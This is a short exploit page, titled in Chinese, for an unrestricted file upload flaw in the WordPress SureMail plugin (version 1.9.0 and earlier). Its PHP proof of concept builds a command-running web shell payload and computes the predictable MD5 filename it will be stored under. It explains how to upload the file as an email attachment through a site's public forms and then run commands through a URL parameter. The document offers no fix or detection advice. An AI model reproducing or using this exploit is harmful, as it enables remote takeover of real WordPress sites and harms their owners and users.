CVE-2025-13516 WordPress SureMail插件任意文件上传漏洞导致RCE

<?php // CVE-2025-13516 PoC - WordPress SureMail Unrestricted File Upload to RCE // Target: SureMail Plugin <= 1.9.0 // Attack Vector: Upload malicious PHP file via email attachment, then execute via direct access // Step 1: Generate malicious PHP payload $payload = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>'; // Step 2: Calculate predictable MD5 hash (same as plugin's save_file function) $filename = md5($payload) . '.php'; // Step 3: If you have an email sending functionality on the target site, // send an email with this PHP file as attachment through any public form // (contact form, registration, etc.) // Step 4: After upload, the file will be accessible at: $target_url = "http://target.com/wp-content/uploads/suremails/attachments/" . $filename; // Step 5: Execute commands via GET parameter // Example: GET /wp-content/uploads/suremails/attachments/[md5_hash].php?cmd=whoami echo "Target URL: " . $target_url . "\n"; echo "Filename: " . $filename . "\n"; // Alternative: Direct file upload via PHPMailer if you have SMTP credentials // The save_file() function is called when processing email attachments // regardless of whether the email is successfully sent ?>